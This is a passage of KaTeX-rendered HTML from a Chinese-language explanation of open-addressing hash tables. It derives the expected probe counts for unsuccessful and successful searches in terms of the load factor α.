style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8747em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3645em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></msubsup><msup><mi>α</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">\sum_{i=1}^{\infty} \alpha^{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1244em;vertical-align:-0.2997em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span> 是一个等比数列，公比为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，首项为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>α</mi><mi mathvariant="normal">∣</mi><mo>&lt;</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">|\alpha| &lt; 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 时，级数收敛于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">\frac{1}{1-\alpha}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2484em;vertical-align:-0.4033em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></blockquote><p>那么，期望的探查次数是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>；当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\alpha \to 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 时，期望的探查次数趋近于无穷大。（这和上文 DELETED 占用过多对应）</p><hr /><p>既然 INSERT 操作要先确认没有在表中，那么插入一个元素的最坏探查次数就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">1 / (1-\alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>。</p><hr /><p>查找和插入的探查序列是相同的，那么如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 是第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">i+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7429em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 被插入的键，那么对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的一次成功查找的期望探查次数至多为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>i</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">1 / (1-i/m)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>（前面已经插入了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个元素，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mi>i</mi><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">\alpha = i / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>）。</p><p>对所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键取平均，得到一次成功查找的期望探查次数至多为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mfrac><mn>1</mn><mi>n</mi></mfrac><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></munderover><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><mi>i</mi><mi mathvariant="normal">/</mi><mi>m</mi></mrow></mfrac></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mi>m</mi><mi>n</mi></mfrac><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></munderover><mfrac><mn>1</mn><mrow><mi>m</mi><mo>−</mo><mi>i</mi></mrow></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mi>m</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow><mi>m</mi></munderover><mfrac><mn>1</mn><mi>k</mi></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>≤</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><msubsup><mo>∫</mo><mrow><mi>m</mi><mo>−</mo><mi>n</mi></mrow><mi>m</mi></msubsup><mfrac><mn>1</mn><mi>x</mi></mfrac><mi>d</mi><mi>x</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><mi>ln</mi><mo>⁡</mo><mfrac><mi>m</mi><mrow><mi>m</mi><mo>−</mo><mi>n</mi></mrow></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><mi>ln</mi><mo>⁡</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow></mfrac></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\frac{1}{n} \sum_{i=0}^{n-1} \frac{1}{1 - i/m}&amp;= \frac{m}{n} \sum_{i=0}^{n-1} \frac{1}{m - i} \\&amp;= \frac{1}{\alpha} \sum_{k=m-n+1}^{m} \frac{1}{k} \\&amp;\le \frac{1}{\alpha} \int_{m-n}^{m} \frac{1}{x} dx \\&amp;= \frac{1}{\alpha} \ln \frac{m}{m-n} \\&amp;= \frac{1}{\alpha} \ln \frac{1}{1-\alpha}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:14.1567em;vertical-align:-6.8284em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:7.3284em;"><span style="top:-9.3284em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">i</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-6.0993em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:-3.0246em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:-0.4328em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:1.9579em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.8284em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:7.3284em;"><span style="top:-9.3284em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">i</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-6.0993em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">m</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">n</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3604em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0246em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop op-symbol large-op" style="margin-right:0.44445em;position:relative;top:-0.0011em;">∫</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4143em;"><span style="top:-1.7881em;margin-left:-0.4445em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.8129em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9703em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-0.4328em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span 